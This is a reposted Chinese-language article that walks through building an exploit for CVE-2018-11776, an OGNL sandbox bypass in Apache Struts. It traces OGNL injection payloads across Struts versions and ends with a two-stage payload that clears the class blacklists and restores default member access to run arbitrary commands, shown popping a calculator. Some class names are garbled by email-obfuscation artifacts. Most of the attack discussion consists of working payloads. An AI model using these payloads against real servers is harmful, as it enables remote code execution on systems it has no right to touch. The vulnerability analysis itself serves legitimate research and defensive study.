转载

CVE-2018-11776: Apache Struts OGNL沙箱绕过

本文讲述如何构建CVE-2018-11776的漏洞利用。

Struts OGNL利用史

首先介绍一些背景和概念以帮助理解OGNL利用的过程。首先介绍下OGNL的基本概念。

OGNL执行环境

在Struts的中,OGNL可以使用#符号访问全局对象。本文介绍一些可以访问的对象,其中列出的对象中有两个对构建exp非常关键。第一个对象是 _memberAccess,这是用来控制OGNL 行为的SecurityMemberAccess对象,另一个是context,这是允许访问更多的其他对象的context图。获取对 _memberAccess的访问权限可以轻易地修改SecurityMemberAccess 的安全设置。比如:

#_memberAccess['allowStaticMethodAccess']=true会修改_memberAccess中的设置。

@[email protected]().exec('xcalc')会弹出一个计算器。

SecurityMemberAccess

Struts用_memberAccess来控制OGNL中允许的行为。最开始使用一些布尔变量(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess, allowStaticMethodAccess)来提供对OGNL访问Java classes方法和成员的访问。默认情况下,这些设置都是false。在之后的版本中,出现了用于拒绝对特定类和package进行访问的3个黑名单,分别是:

·excludedClasses

· excludedPackageNames

· excludedPackageNamePatterns。

不允许使用静态方法,但允许任意构造器(2.3.20之前版本)

默认情况下,_memberAccess 会进行配置会预防对静态、私有和受保护的方法的访问。但是在2.3.14.1版本之前,这可以通过提取#_memberAccess和修改其中的设置来轻松绕过。许多漏洞利用都使用了这样的方法,比如:

 (#_memberAccess['allowStaticMethodAccess']=true).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="e58f849384cb89848b82cbb7908b918c8880a5828091b7908b918c8880">[email protected]</a>().exec('xcalc'))

CVE-2018-11776: Apache Struts OGNL沙箱绕过

在2.3.14.1及之后版本,allowStaticMethodAccess变成了final,并且不能再修改。但是 _memberAccess允许构造任意类和访问公有方法,执行任意代码就不需要修改中 _memberAccess的设置了:

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

这在2.3.20之前版本都适用。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

没有静态方法,没有构建函数,但是允许访问任意类(2.3.20-2.3.29)

在2.3.20版本中,将excludedClasses, excludedPackageNames和excludedPackageNamePatterns类加入了黑名单。另一个变化是拒绝所有constructor调用。这会杀掉ProcessBuilder payload,从这点看,静态方法和constructors都是不允许的,这会对OGNL的功能做出限制。但_memberAccess仍然是可以访问的,静态对象 DefaultMemberAccess 也是可以访问的。

DefaultMemberAccess对象是默认SecurityMemberAccess的一个版本,SecurityMemberAccess允许静态方法和构造函数。所以用DefaultMemberAccess替换_memberAccess就可以了。

#<a href="/cdn-cgi/l/email-protection" data-cfemail="a3fccec6cec1c6d1e2c0c0c6d0d09ee3ccc4cdcf8decc4cdcfe0cccdd7c6dbd7">[email protected]</a>@DEFAULT_MEMBER_ACCESS).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="a8c2c9dec986c4c9c6cf86faddc6dcc1c5cde8cfcddcfaddc6dcc1c5cd">[email protected]</a>().exec('xcalc')

这在2.3.29版本之前都是适用的,而且这是最近的一个利用的重要部分。

对_memberAccess和类不再限制(2.3.30/2.5.2+)

最后, _memberAccess这些简单的技巧都不能用了。类ognl.MemberAccess和 ognl.DefaultMemberAccess都被加入黑名单了。下面看以下如何绕过:

#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4724282a6928372229343e2a372f28293e693f3028352c75692820292b690820292b12332e2b07242b263434">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="b8d7dfd6d496f7dfd6d4fbd7d6ccddc0ccf8fcfdfef9edf4ec">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="315b5047501f5d505f561f63445f45585c547156544563445f45585c54">[email protected]</a>().exec('xcalc')

首先注意该利用并不会尝试到达_memberAccess。而是 OgnlUtil 获取的实例,并清除黑名单。那是怎么做到的呢?首先从context map中获取 Container ,其中含有以下key:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

Key com.opensymphony.xwork2.ActionContext.container会给出OGNL执行环境中Container的实例:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

getInstance 方法会尝试创建一个类OgnlUtil的实例,但因为是singleton(单例模式),所以会返回现有的全局实例。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

为了了解全局OgnlUtil对象中的 excludedClasses 与 _memberAccess对象的关系,下面看一下_memberAccess是如何初始化的。

当请求到达时,调用createActionContext方法来创建新的ActionContext。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

最终调用OgnlValueStack的setOgnlUtil方法来初始化OgnlValueStack的securityMemberAccess和OgnlUtil的全局实例。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

从下面的例子中可以看出,securityMemberAccess和 _memberAccess是一样的。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

这意味着OgnlUtil的全局实例与_memberAccess共享相同的excludedClasses, excludedPackageNames, excludedPackageNamePatternsSet,因此清除它们后也清除了_memberAccess中对应的Set。

之后,OGNL可以自由访问 OgnlContext 中的DEFAULT_MEMBER_ACCESS对象和 setMemberAccess 方法来用DEFAULT_MEMBER_ACCES替换_memberAccess,然后执行任意代码。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

绕过2.5.16

下面解释如何在2.5.16中绕过安全措施,攻击CVE-2018-11776。

首先看一下公开的漏洞利用POC:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="d1bbb0a7b0ffbdb0bfb6ff82a8a2a5b4bc91b6b4a581a3bea1b4a3a5a8">[email protected]</a>('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@<a href="/cdn-cgi/l/email-protection" data-cfemail="432c31246d223322202b266d303731363730716d102631352f26370220372a2c2d002c2d37263b3703242637112630332c2d3026">[email protected]</a>().getOutputStream())).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="5f302d38713e2f3e3c373a713c30323230312c7136307116100a2b36332c1f3c302f26">[email protected]</a>(#process.getInputStream(),#ros)).(#ros.flush())}

下面开始构造可以工作的漏洞利用:

 (#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4724282a6928372229343e2a372f28293e693f3028352c75692820292b690820292b12332e2b07242b263434">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="4f2028212361002821230c20213b2a373b0f0b0a090e1a031b">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="b2d8d3c4d39cded3dcd59ce0c7dcc6dbdfd7f2d5d7c6e0c7dcc6dbdfd7">[email protected]</a>().exec('xcalc'))

该漏洞利用并不在2.5.16版本上适用,因为该版本引入了一些新的安全措施。首先,对context和excludedClasses的访问在2.5.13版本中被移除,黑名单在2.5.10版本之后不能修改了。

下面看一下attr:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

struts.valueStack的值以OgnlValueStack作为类型。如果想要用OGNL使用的context map,那么OgnlValueStack是一个不错的选择。 getContext 方法可以提供我们想要的context map。所以把刚才的漏洞利用修改为:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="7f1c101251100f1a110c06120f17101106510708100d144d511018111351301811132a0b16133f1c131e0c0c">[email protected]</a>)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="59363e373577163e37351a36372d3c212d191d1c1f180c150d">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="3953584f58175558575e176b4c574d50545c795e5c4d6b4c574d50545c">[email protected]</a>().exec('xcalc'))

但是因为excludedClasses和excludedPackageNames 都不能修改,因为该漏洞利用还是不能工作。

CVE-2018-11776: Apache Struts OGNL沙箱绕过

但黑名单其实是可以通过setters修改的:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="e685898bc889968388959f8b968e89889fc89e9189948dd4c88981888ac8a981888ab3928f8aa6858a879595">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="5d323a333173123a33311e3233293825291d19181b1c081109">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="650f0413044b09040b024b37100b110c08002502001137100b110c0800">[email protected]</a>().exec('xcalc'))

修改后还不能工作,为什么呢?因为excludedClasses集被从 ognlUtil中清除了:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

但不在 _memberAccess中:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

这是因为在ognlUtil中设置excludedClasses时,会分配excludedClasses一个新的空集而不是修改_memberAccess和ognlUtil引用的集合,所以修改只影响 ognlUtil,而不影响_memberAccess。然后重新发送payload:

CVE-2018-11776: Apache Struts OGNL沙箱绕过

成功打开了计算器。是如何做到的呢? _memberAccess是请求到达时,创建新ActionContext过程中创建的临时对象。每次当用 createActionContext 方法创建新的ActionContext时,都会调用 setOgnlUtil 方法使用excludedClasses, excludedPackageNames等创建_memberAccess。重新发送请求后,新创建的_memberAccess会请求其黑名单类和package,运行执行任意代码。

最后形成了两个payload,一个是清空excludedClasses和excludedPackageNames黑名单的:

 (#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@<a href="/cdn-cgi/l/email-protection" data-cfemail="c5a6aaa8ebaab5a0abb6bca8b5adaaabbcebbdb2aab7aef7ebaaa2aba9eb8aa2aba990b1aca985a6a9a4b6b6">[email protected]</a>)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

另一个是缓和_memberAccess,执行任意代码:

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@<a href="/cdn-cgi/l/email-protection" data-cfemail="573830393b791830393b14383923322f231713121116021b03">[email protected]</a>_MEMBER_ACCESS)).(@<a href="/cdn-cgi/l/email-protection" data-cfemail="264c475047084a47484108745348524f4b4366414352745348524f4b43">[email protected]</a>().exec('xcalc'))

顺序发送这两个payload就可以利用CVE-2018-11776执行任意代码。

原文  http://4hou.win/wordpress/?p=26803
正文到此结束
Loading...